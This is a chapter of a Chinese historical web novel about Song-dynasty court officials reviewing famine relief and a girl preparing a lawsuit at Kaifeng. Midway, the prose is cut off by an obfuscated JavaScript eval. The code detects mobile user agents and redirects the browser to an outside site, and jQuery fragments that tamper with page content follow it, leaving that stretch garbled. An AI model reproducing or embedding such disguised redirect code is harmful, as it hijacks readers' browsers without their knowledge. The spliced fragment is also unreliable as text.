待仁宗起驾离殿,殿内瞬时活络起来。百官交头接耳,邻班官员与同僚故旧纷纷低语议论。
御史中丞张方平亦被数人围住,有为王姓官员趋前打趣道:"张中丞,杜衍、富弼诸位能否重归中枢,可全仰仗您这监察之职了。"
御史台作为监察百官的"天子耳目",最高长官为御史中丞。张方平的前任王拱辰,正是主导弹劾范仲淹、欧阳修等改革派的保守派核心人物。而负责规谏皇帝、监督宰相并与御史台形成制衡的机构则是谏院,其长官为知谏院,统辖谏议大夫、司谏、正言等谏官。前任知谏院欧阳修曾提出"按察官吏"等主张,试图通过谏官系统整顿吏治。但因今年初卷入张甥案被贬出京,朝廷尚未任命新的知谏院,目前由参知政事吴育兼任,致使谏院职能形同虚设——毕竟还没听过官员能主动监督自己的权力的。
总体而言,御史台侧重监察百官,谏院侧重谏诤君主,二者均拥有弹劾权,形成对皇权与相权的双重制约机制。
张方平不卑不亢,微微颔首施礼道:"下官唯知按律论处,请王大人慎言。"言罢再不稍作停留,径自转身离去。
这位王大人那可是面色铁青,几欲当庭唾骂,却猛然省悟尚在殿中,唯恐被弹劾"失仪"之罪。况且张方平现任御史中丞,本就是监察百官,若遭其参奏后果堪忧。只能恨恨甩袖,低声咒骂两句,悻悻离去。
三位宰执已返回位于文德殿东侧的政事堂(别称东府)。
中书门下作为全国最高行政机构,负责统筹政务,宰相于此办公。宋仁宗时期,中书门下办公场所称"政事堂",是宰执日常议政、处理文书的核心区域。与之相对,文德殿西侧的枢密院(别称西府)为最高军事机构,枢密使、副使等武官在此处置军务。二者并称"两府",两府的同平章事(宰相)、参知政事(副相)、枢密使(掌管军事)合称“宰执”,形成"中书主民,枢密主兵"的军政分治格局。
但是,北宋"重文轻武"国策下,本应与东府平行的西府,长期为文官所掌控。现任枢密使即为同平章事陈执中兼任,充分体现了宋代"以文驭武"的政治特色。
鉴于此,三位宰执未在都堂(即中书门下内省正厅)举行集体会议,而是径往政事堂西厅议事,继续讨论早朝议题。陈执中将仁宗交办的赈灾奏折悉数移交吴育,责成其近日内拟定赏赐章程。
相较于另一位参知政事贾昌朝,吴育更以务实著称。贾昌朝虽博学善论,著有《群经音辨》《通纪时令》等三十卷文集(现存《群经音辨》也是我国首部多音多义字手册),但其本质更似学者型官员。而吴育则以才思敏捷见长,《宋史》评曰:"自宋初以来,制策入三等者,惟吴育与轼而已。"
吴育初任大理寺评事,升大理寺丞,外任知县期间执法严谨。回京主持太常礼院事务,改任右正言,历任三司盐铁判官、户部判官。其仕途履历丰富:任职大理寺时,负责审理中央百官及京师徒刑以上案件,并参与复审地方上奏刑狱;外放期间历任临安、诸暨、襄城三县知县;回京后又执掌礼教事务,继而进入三司(计省)这一最高财政机构任职。随后入谏院为谏官,专司规谏君主、监督朝廷政策及官员行为。史评称其足智多谋、直言善谏,能以政治道义与君臣纲纪引导帝王,对稳定朝政、巩固边防多有建树。
陈执中鉴于吴育曾在三司历练通晓财政,兼具地方治理经验,故将赈灾赏赐事宜交托于他,自认为是稳妥之举。
吴育果不负重托,并未轻信奏章中的片面之词。
他先是召见提举常平司官员,详细询问常平仓、义仓等仓储体系在救灾期间的运作情况:对河北灾民开放粮仓的具体数量、义仓接收捐赠粮秣的详细数据,以及京畿与灾区的实时粮价皆记录在案。
继而传讯负责青州等地赈务的转运使、祠部郎中孙冲,核查运往灾区的粮食物资具体数目、运输时长及沿途损耗。
随后,吴育亲赴三司(计省)查阅河北灾荒期间的财政支出账册,重点了解灾后基础设施修复、流民返乡安置等事项的预算执行情况。
待所有账目收集统计完毕,吴育才将富弼、杜衍、石介等人的奏章逐一比对核验。
他每日退朝后便闭门理政,夜间归家仍在书房伏案,对东京城诸事不闻不问,连往日必命下人搜罗的热销小报也弃置案头。如此持续七日,终将核查结果写成奏疏。恰遇大朝会,吴育便携折前往文德殿,欲与仁宗及百官共议赈灾事宜。
然而今日殿内气氛异于往常,官员们交头接耳之声此起彼伏。负责纠察朝仪的殿中侍御史频频示意众人噤声,却鲜有人理会。
贾昌朝立于前排陈执中侧后方,与吴育相隔两班之距。见同僚一脸困惑浑然不觉这今日朝会异变,遂侧身附耳道:"春卿莫不是还不知道发生了什么?”吴育,字春卿。
吴育正欲询问,忽闻陈执中轻咳示警——仁宗已驾临并落座。今日官家面色凝重,满朝文武见状皆屏息敛声。
吴育只好暗中反复摩挲袖中奏章,暗叹近日专注于赏赐章程,竟对外间变故一无所知。此刻如坠云雾,拿捏不定是否该进呈奏疏。
待内东头供奉官宣唱三次"有事出班",他这才横下心来,趋前半步呈上这份耗时七日完成的奏稿。
仁宗接过奏疏,反复研读良久。待阅至后半部分,面色竟逐渐缓和。又将奏稿翻至中间某处,盯着写有一行字的段落问道:"吴卿可知最近京中发生了什么?”
吴育回想起朝会伊始的异常喧闹,暗自揣测莫非与奏疏中的褒奖内容相关。然百思不得其解,只得据实回奏:"臣专注于编写赏赐章程,对外间之事委实不知。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759824|170310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
仁宗闻之反展颜一笑,道:"既不知晓,待朝会毕,可由陈相公为卿解惑。若无他事,暂且退朝。着各位宰执、御史中丞及翰林学士,即刻前往垂拱殿议事。"言罢拂袖离殿。
吴育愕然立在当场,与贾昌朝相视无语。少顷,方趋步至陈执中跟前,深揖及地:"恳请陈公明示近日京中变故。"
原来也就是这两日,东京城里传得浩浩荡荡的,正是一位小娘子为自家外甥女的一桩案子告到开封府,状告有人胁迫幼女出嫁。
刚听到这里,吴育便忍不住打断。
他虽未曾在开封府任职,却曾在大理寺当过官,深知这状告之事听起来颇为蹊跷。“如此小案,竟能惊动官家?莫不是哪位后妃的家人仗势欺人?”
贾昌朝忙安抚他道:“春卿莫急,且听陈公细细讲来。这案子说来话长,牵扯极广。”
原来,事情发生在七天前。当吴悦得知朝堂已收到富弼的奏章,便知道自己该行动了。
吴悦从朱家接走朱涴妤后,叮嘱大姐:“如今可将与谢家的事告知公婆了,且装病卧床便是。”
待吴父归家,她又道:“明日等我出发去开封府,您便可以去找曹俣了。”
晚间,吴悦与朱涴妤同榻而眠,抱着小外甥女轻声问:“怕不怕?”
朱涴妤这两年被养得很好,身体结实,性格也愈发活泼。她娘近日已将事情细细向她解释——虽不懂“结婚”“御奉凭证”是何物,但听说“有坏人要把你从爹娘和弟弟身边抢走,逼你去另一个宅子生活,再也见不到我们”,小丫头立刻哭了起来,边哭边喊“不愿离开娘和弟弟”。吴丽娘虽陪着掉泪,却还是抹了把脸,狠下心来,让女儿将她接下来的话牢牢记在脑中,让她每日复述三遍,只为了在公堂上不要被吓得失言。
朱涴妤还是第一次到外祖父家和小姨同睡,觉得十分新鲜。想到第二天要办大事,她连忙连声应道:“涴涴不怕!小姨说过,等我说完娘教的那些话,别人再问我,就不说话,默默地哭,然后喊着‘不要离开爹娘’。”
“好涴涴。”吴悦亲了亲小外甥女的脸蛋,将她搂进怀里,柔声道,“睡吧,明早咱们得早起。”
次日凌晨三时,吴悦便叫醒小姑娘,唤青枣进来帮她穿衣。自己也换了一身保暖的冬装,与全家人一同吃了顿热乎乎的羊肉汤饭。又往自己和朱涴妤的兜里都塞了不少糖果和奶酪,抱着准备好的资料,与刘耘娘、吴王氏、吴父一一告别,且谢绝了青枣同行的请求。
她振振有词道:“你若跟去,人家拿打你板子威胁我怎么办?”
下仆在外人眼中,向来被视作替主子受累的替罪羊,那些官吏不敢对两个幼女下手,拿青枣这个一看就年长的丫鬟开刀岂不是更好?正好杀鸡儆猴。
说罢,她抱着朱涴妤坐上了牛车。